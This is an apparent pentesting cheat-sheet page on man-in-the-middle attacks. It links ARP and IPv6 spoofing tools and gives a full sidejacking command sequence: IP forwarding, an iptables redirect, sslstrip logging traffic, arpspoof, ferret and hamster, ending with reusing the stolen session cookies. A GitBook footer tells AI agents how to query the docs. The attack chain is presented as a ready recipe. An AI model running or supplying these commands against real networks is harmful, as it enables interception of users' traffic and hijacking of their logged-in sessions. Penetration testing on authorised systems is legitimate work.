> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/misc/mitm.md).

# MITM

## ARP Spoofing (IPv4)

### Cain and Abel (Windows)

[oxid.it - Cain & Abel](https://web.archive.org/web/20190603235413if_/http://www.oxid.it/cain.html)

### Ettercap (Linux)

[GitHub - Ettercap/ettercap](https://github.com/Ettercap/ettercap)

```bash
ettercap -TqM arp: remote /<gateway-ip>/ /<target-ip>/
```

## Neighbor Advertisement Spoofing (IPv6)

### Evil FOCA (Windows)

> Evil Foca is a tool for security pentesters and auditors whose purpose it is to test security in IPv4 and IPv6 data networks.\
> [Evil FOCA](https://github.com/ElevenPaths/EvilFOCA)

## Sidejacking

### Hamster/Ferret

Enable ip forwarding

```bash
echo "1" > /proc/sys/net/ipv4/ip_forward
```

Modify ip tables for SSL Strip

```bash
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
```

Run SSL Strip

```bash
sslstrip -f -a -k -l 1000 -w /root/out.txt &
```

Enable ARP spoof

```bash
arpspoof -i eth0 <gateway>
```

Enable Ferret

```bash
ferret -i eth0
```

Start hamster

```bash
hamster
```

-> Use stolen cookies with e.g. FireFox Web Developer Addon -> Add Cookies

### Firesheep

> A Firefox extension that demonstrates HTTP session hijacking attacks.\
> [GitHub - codebutler/firesheep](https://github.com/codebutler/firesheep)

### SSLStrip

> A tool for exploiting Moxie Marlinspike's SSL "stripping" attack.\
> [GitHub - moxie0/sslstrip](https://github.com/moxie0/sslstrip)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/misc/mitm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
